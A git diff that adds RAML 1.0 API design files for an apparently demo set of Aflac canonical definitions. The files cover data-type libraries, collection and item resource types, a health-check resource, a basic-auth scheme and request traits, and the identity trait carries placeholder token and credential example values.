index 0000000..2bd7df4
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ basic-questions-set: !include ../data-types/dataType-basic-questions-set.raml
+ basic-questions-sets:
+ displayName: Basic Questions Array
+ description: Basic Questions Array
+ type: basic-questions-set[]
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml
new file mode 100644
index 0000000..0dd6e6f
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ code-description: !include ../data-types/dataType-code-description.raml
+ code-descriptions:
+ displayName: Code Descriptions123
+ description: a collection of code descriptionsabc
+ type: code-description[]
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml
new file mode 100644
index 0000000..ede44f2
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 Library
+types:
+ contact-information: !include ../data-types/dataType-contact-information.raml
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml
new file mode 100644
index 0000000..789943a
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 Library
+types:
+ document-statistic: !include ../data-types/dataType-document-statistic.raml
+ content-data: !include ../data-types/dataType-content-data.raml
+ content-metadata: !include ../data-types/dataType-content-metadata.raml
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml
new file mode 100644
index 0000000..d5ed17e
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 Library
+types:
+ contextual: !include ../data-types/dataType-contextual.raml
+ preferable: !include ../data-types/dataType-preferable.raml
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml
new file mode 100644
index 0000000..a920d31
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ email-address: !include ../data-types/dataType-email-address.raml
+ email-addresses:
+ displayName: Email Addresses
+ description: A collection of email addresses
+ type: email-address[]
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml
new file mode 100644
index 0000000..555c03d
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml
@@ -0,0 +1,36 @@
+#%RAML 1.0 Library
+uses:
+ master-lib: library-master-key.raml
+ source-lib: library-source.raml
+ property-lib: library-property.raml
+
+types:
+ entities:
+ displayName: Entities
+ description: an array of entities
+ type: entity[]
+
+ entity:
+ displayName: Entity
+ description: Entity Description
+ type: object
+ additionalProperties: false
+ properties:
+ id:
+ required: false
+ type: master-lib.master-key
+ name:
+ required: false
+ type: string
+ type:
+ required: false
+ type: string
+ sources:
+ required: false
+ type: source-lib.sources
+ properties:
+ required: false
+ type: property-lib.properties
+ entities:
+ required: false
+ type: entities
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml
new file mode 100644
index 0000000..9d99dec
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 Library
+types:
+ error: !include ../data-types/dataType-error.raml
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml
new file mode 100644
index 0000000..2844c6c
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ habit: !include ../data-types/dataType-habit.raml
+ habits:
+ displayName: Habits
+ description: a collection of habits
+ type: habit[]
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml
new file mode 100644
index 0000000..f9b615f
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ language: !include ../data-types/dataType-language.raml
+ languages:
+ displayName: Languages
+ description: A collection of languages
+ type: language[]
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml
new file mode 100644
index 0000000..4791131
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 Library
+types:
+ master-key: !include ../data-types/dataType-master-key.raml
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml
new file mode 100644
index 0000000..f7af92e
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 Library
+types:
+ organization: !include ../data-types/dataType-organization.raml
+ organizations: organization[]
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml
new file mode 100644
index 0000000..72a81c0
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 Library
+types:
+ party: !include ../data-types/dataType-party.raml
+ parties:
+ displayName: Parties
+ description: A collection of parties
+ type: party[]
+
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml
new file mode 100644
index 0000000..d034861
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 Library
+types:
+ performance-node: !include ../data-types/dataType-performance-node.raml
+ performance-nodes:
+ displayName: Performance Nodes
+ description: A collection of performance nodes
+ type: performance-node[]
+
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml
new file mode 100644
index 0000000..4682654
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 Library
+types:
+ person-name: !include ../data-types/dataType-person-name.raml
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml
new file mode 100644
index 0000000..d099c42
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ person: !include ../data-types/dataType-person.raml
+ persons:
+ displayName: Persons
+ description: A collection of persons
+ type: person[]
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml
new file mode 100644
index 0000000..c260df9
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ phone: !include ../data-types/dataType-phone.raml
+ phones:
+ displayName: Phones
+ description: A collection of phones
+ type: phone[]
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml
new file mode 100644
index 0000000..bdb8711
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ property: !include ../data-types/dataType-property.raml
+ properties:
+ displayName: Entity Properties
+ description: A collection of entity properties
+ type: property[]
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml
new file mode 100644
index 0000000..3952f5c
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml
@@ -0,0 +1,6 @@
+#%RAML 1.0 Library
+types:
+ role: !include ../data-types/dataType-role.raml
+ roles:
+ displayName: Roles
+ type: role[]
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml
new file mode 100644
index 0000000..334f702
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ social-media-account: !include ../data-types/dataType-social-media-account.raml
+ social-media-accounts:
+ displayName: Social Media Accounts
+ description: A collection of social media accounts
+ type: social-media-account[]
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml
new file mode 100644
index 0000000..50d41a7
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ source: !include ../data-types/dataType-source.raml
+ sources:
+ displayName: Sources
+ type: source[]
+
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml
new file mode 100644
index 0000000..ad96cfc
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 Library
+traits:
+ selectable: !include ../traits/trait-selectable.raml
+ traceable: !include ../traits/trait-traceable.raml
+ routable: !include ../traits/trait-routable.raml
+ pageable: !include ../traits/trait-pageable.raml
+ filterable: !include ../traits/trait-filterable.raml
+ performance-monitorable: !include ../traits/trait-performance-monitorable.raml
+ sortable: !include ../traits/trait-sortable.raml
+ asynchronously-callable: !include ../traits/trait-asynchronously-callable.raml
+ identifyable: !include ../traits/trait-identifyable.raml
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml
new file mode 100644
index 0000000..94f6f1c
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ version: !include ../data-types/dataType-version.raml
+ versions:
+ displayName: Versions
+ description: A collection of versions
+ type: version[]
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml
new file mode 100644
index 0000000..295999c
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml
@@ -0,0 +1,51 @@
+#%RAML 1.0 ResourceType
+displayName: Resource Type applicable to collection actions
+usage: |
+ A collection action is a process that can be applied to a collection of resources. The action can only be taken with a POST.
+
+uses:
+ error-lib: ../libraries/library-error.raml
+ code-description-lib: ../libraries/library-code-description.raml
+ traits: ../libraries/library-traits.raml
+
+post:
+ displayName: Execute an action on the selected records of a collection
+ description: Is used to execute an action on the selected records of a collection.
+ is:
+ - traits.selectable
+ - traits.filterable
+ - traits.pageable
+ - traits.sortable
+ - traits.asynchronously-callable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+
+ body:
+ application/json:
+ examples: <>
+ application/xml:
+ examples: <>
+ responses:
+ 200:
+ description: The response when the operation is synchronously called.
+ body:
+ application/json:
+ examples: <>
+ application/xml:
+ examples: <>
+ 202:
+ description: The response when the operation is asynchronously called.
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml
new file mode 100644
index 0000000..a5a1393
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml
@@ -0,0 +1,157 @@
+#%RAML 1.0 ResourceType
+displayName: Resource Type applicable to collections
+usage: |
+ When using this resource type the name of the data type must match the name of the resource path which needs to be a noun in plural form. For example, if the resource path is /users then the data type must be called users.
+
+ Every HTTP verb in this resource type has been defined as optional. Any combination of HTTP verbs can be chosen. Simply add the verb name under the resource path's type and provide the necessary examples.
+
+uses:
+ error-lib: ../libraries/library-error.raml
+ code-description-lib: ../libraries/library-code-description.raml
+ traits: ../libraries/library-traits.raml
+
+post?:
+ displayName: Create new <> record(s)
+ description: Is used to add one or more <> records into the <> collection. Takes either a single <> object to create a single record or an array of <> objects to create multiple records. Can be called synchronously or asynchronously depending on the applied traits.
+ is:
+ - traits.asynchronously-callable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+
+ body:
+ application/json:
+ type: <> | <>
+ examples: <>
+ application/xml:
+ type: <> | <>
+ examples: <>
+ responses:
+ 200:
+ description: The response when the operation is synchronously called. It returns the created record(s).
+ body:
+ application/json:
+ type: <> | <> | code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: <> | <> | code-description-lib.code-descriptions
+ examples: <>
+ 202:
+ description: The response when the operation is asynchronously called. It returns the acknowledgement and confirmation codes if any.
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
+
+delete?:
+ displayName: Delete selected <> records from <> collection
+ description: Is used to delete selected <> records from <> collection. Can be synchronously or asynchronously called based on the applied traits. Accordingly, the response will show what has been deleted or what has been accepted to be deleted.
+
+ is:
+ - traits.selectable
+ - traits.asynchronously-callable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+ responses:
+ 200:
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 202:
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
+
+get?:
+ displayName: Search <> records
+ description: Is used to search <> records by providing a selection criteria. The results can be sorted, paged and contents can be filtered based on the implementation.
+ is:
+ - traits.selectable
+ - traits.sortable
+ - traits.pageable
+ - traits.filterable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+ responses:
+ 200:
+ body:
+ application/json:
+ type: <>
+ examples: <>
+ application/xml:
+ type: <>
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
+
+patch?:
+ displayName: Partially updates selected <> records
+ description: Is used to partially update one or more <> records in the <> collection. Input is the partial <> record that includes only the element values which is used to update the selected records. Can be synchronously or asynchronously called based on the applied traits.
+ is:
+ - traits.selectable
+ - traits.asynchronously-callable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+
+ body:
+ application/json:
+ type: <>
+ examples: <>
+ application/xml:
+ type: <>
+ examples: <>
+ responses:
+ 200:
+ description: The response when the patch operation is synchronously called. It returns the partially updated record(s) or a code that explains what has taken place.
+ body:
+ application/json:
+ type: <> | code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: <> | code-description-lib.code-descriptions
+ examples: <>
+ 202:
+ description: The response when the patch operation is asynchronously called. It returns list of codes that includes acknowledgements and confirmations that the requested has been accepted to be processed later.
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml
new file mode 100644
index 0000000..cbc1c7b
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml
@@ -0,0 +1,48 @@
+#%RAML 1.0 ResourceType
+displayName: Resource Type applicable to item actions
+usage: |
+ An item action is a process that can be applied to specific resource. The action can only be taken with a POST.
+
+uses:
+ error-lib: ../libraries/library-error.raml
+ code-description-lib: ../libraries/library-code-description.raml
+ traits: ../libraries/library-traits.raml
+
+post:
+ displayName: Execute an action on the specific record.
+ description: Is used to execute an action on the specific record
+ is:
+ - traits.filterable
+ - traits.asynchronously-callable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+
+ body:
+ application/json:
+ examples: <>
+ application/xml:
+ examples: <>
+ responses:
+ 200:
+ description: The response when the operation is synchronously called.
+ body:
+ application/json:
+ examples: <>
+ application/xml:
+ examples: <>
+ 202:
+ description: The response when the operation is asynchronously called.
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml
new file mode 100644
index 0000000..e8a23f9
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml
@@ -0,0 +1,154 @@
+#%RAML 1.0 ResourceType
+displayName: Resource Type applicable to collection items
+usage: |
+ When using this resource type the name of the data type must match the name of the resource path which needs to be a noun in singular form. For example, if the resource path is /users/{user-id} then the data type must be called user.
+
+ Every HTTP verb in this resource type has been defined as optional. Any combination of HTTP verbs can be chosen. Simply add the verb name under the resource path's type and provide the necessary examples.
+
+uses:
+ error-lib: ../libraries/library-error.raml
+ code-description-lib: ../libraries/library-code-description.raml
+ traits: ../libraries/library-traits.raml
+
+
+
+delete?:
+ displayName: Delete the specific <> record
+ description: Is used to delete the specific <> record. Can be synchronously or asynchronously called based on the applied traits. Accordingly, the response will show what has been deleted or what has been accepted to be deleted.
+
+ is:
+ - traits.asynchronously-callable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+ responses:
+ 200:
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 202:
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
+
+get?:
+ displayName: Retrieves specific <> record
+ description: Is used to retrieve a specific <> record. The content can be filtered based on the implementation.
+ is:
+ - traits.filterable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+ responses:
+ 200:
+ body:
+ application/json:
+ type: <>
+ examples: <>
+ application/xml:
+ type: <>
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
+
+patch?:
+ displayName: Partially updates specific <> record
+ description: Is used to partially update specific <> record. Input is the partial <> record that includes only the element values which is used to update the specific record. Can be synchronously or asynchronously called based on the applied traits.
+ is:
+ - traits.asynchronously-callable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+
+ body:
+ application/json:
+ type: <>
+ examples: <>
+ application/xml:
+ type: <>
+ examples: <>
+ responses:
+ 200:
+ description: The response when the patch operation is synchronously called. It returns the partially updated record(s) or a code that explains what has taken place.
+ body:
+ application/json:
+ type: <> | code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: <> | code-description-lib.code-descriptions
+ examples: <>
+ 202:
+ description: The response when the patch operation is asynchronously called. It returns list of codes that includes acknowledgements and confirmations that the request has been accepted to be processed later.
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
+
+put?:
+ displayName: Fully updates specific <> record
+ description: Is used to fully update specific <> record. Input is the full <> record that includes all element values which are used to update the specific record. Can be synchronously or asynchronously called based on the applied traits.
+ is:
+ - traits.asynchronously-callable
+ - traits.traceable
+ - traits.routable
+ - traits.performance-monitorable
+
+ body:
+ application/json:
+ type: <>
+ examples: <>
+ application/xml:
+ type: <>
+ examples: <>
+ responses:
+ 200:
+ description: The response when the put operation is synchronously called. It returns the partially updated record(s) or a code that explains what has taken place.
+ body:
+ application/json:
+ type: <> | code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: <> | code-description-lib.code-descriptions
+ examples: <>
+ 202:
+ description: The response when the put operation is asynchronously called. It returns list of codes that includes acknowledgements and confirmations that the request has been accepted to be processed later.
+ body:
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: <>
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ application/xml:
+ type: error-lib.error
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml
new file mode 100644
index 0000000..24e4f08
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml
@@ -0,0 +1,39 @@
+#%RAML 1.0 ResourceType
+
+
+uses:
+ error-lib: ../libraries/library-error.raml
+ code-description-lib: ../libraries/library-code-description.raml
+
+get:
+ displayName: GET Health Check Resource
+ description: This resource is used by all APIs which has a /health-check resource path at its root and takes certain actions to validate its and its dependent components' health condition.
+ headers:
+ aflac-detailed-health-check-switch:
+ required: false
+ displayName: Detailed Health Check Flag
+ description: If the value is provided as On, the health of all dependencies will be checked. Otherwise, the dependencies will not be checked.
+ enum:
+ - On
+ - Off
+ default: Off
+
+ responses:
+ 200:
+ description: On success the response will return an array of code descriptions with information regarding the health of the API and its subcomponents' health.
+ body:
+
+ application/json:
+ type: code-description-lib.code-descriptions
+ examples: !include ../examples/example-get-health-check.raml
+ application/xml:
+ type: code-description-lib.code-descriptions
+ examples: !include ../examples/example-get-health-check.raml
+ 500:
+ body:
+ application/json:
+ type: error-lib.error
+ examples: !include ../examples/example-error.raml
+ application/xml:
+ type: error-lib.error
+ examples: !include ../examples/example-error.raml
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml
new file mode 100644
index 0000000..8882bfb
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 SecurityScheme
+type:
+ Basic Authentication
+description: This security scheme should be used in case of client Id and client secret secured API
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml
new file mode 100644
index 0000000..f86121c
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml
@@ -0,0 +1,12 @@
+#%RAML 1.0 Trait
+description: Asynchronously callable trait allows a request to be submitted and a response returned without completing the processing of that request
+
+headers:
+ aflac-asynchronous-processing:
+ displayName: Aflac Processing Style
+ description: |
+ Set this header value to true to indicate to the provider that request processing should be executed asynchronously if available.
+ type: boolean
+ required: false
+ default: true
+ example: true
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml
new file mode 100644
index 0000000..8b2e6fa
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml
@@ -0,0 +1,19 @@
+#%RAML 1.0 Trait
+
+queryParameters:
+ filter:
+ description: the comma delimited names of the fields that need to be included or excluded in a returned record. A single value of a container may also be passed in which case the filter type must be set to "Canned". The names of fields and canned filters need to be documented separately by the API owner.
+ type: string
+ required: false
+ examples:
+ fieldNamesExample: person.name.first, person.name.last, person.dob
+ cannedExample: personBioMetricFields
+
+ filter-type:
+ description: the flag that indicates whether the names in the filter value are to be included or excluded. "In" means included and "Out" means excluded. "Canned" means that the filter values are not comma delimited and the single value of the filter represents a container where the field anmes are stored. If not provided, "In" is default.
+ enum:
+ - In
+ - Out
+ - Canned
+ type: string
+ required: false
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml
new file mode 100644
index 0000000..5623283
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml
@@ -0,0 +1,50 @@
+#%RAML 1.0 Trait
+
+#uses:
+# name-value-lib: ../libraries/library-name-value-pair.raml
+
+displayName: Identifyable
+description: Identifyable trait provides a header called aflac-identity-fields which can pass several different types of identity tokens and identity related information to a service.
+
+headers:
+ aflac-identity-fields:
+ displayName: Aflac Identity Fields
+ description: |
+ Is a JSON object which contain an array of typed name value pairs. Any kind of identity information can be passed using the array.
+ required: false
+ type: string
+ examples:
+ oAuth-example: '[{"type": "oAuth2-access-token", "value": "Bfrdget3456iuyge+Og=="}]'
+ username-password-example: |
+ '[
+ {"type": "encrypted-username", "value": "Sgrfqwt$34s5465asgfv56"},
+ {"type": "encrypted-password", "value": "87623uhvbuberc754^%$yvygwed"},
+ {"type": "encryption-certificate-serial-number-in-dec", "value": "351686516876516213213546987984965163216"}
+ ]'
+
+# The below section is commented out due to a limitation in Design Center.
+# When Headers are assigned a type of object the validation misinterprets and fails.
+# Until this is resolved, further headers will be of simple type, even the values can be object representations
+# type: typed-name-value-pairs
+# examples:
+# oAuth-example:
+# value:
+# - type: oAuth2-access-token
+# value: Bfrdget3456iuyge+Og==
+# username-password-example:
+# value:
+# - type: encrypted-username
+# value: Sgrfqwt$34s5465asgfv56
+# - type: encrypted-password
+# value: 87623uhvbuberc754^%$yvygwed
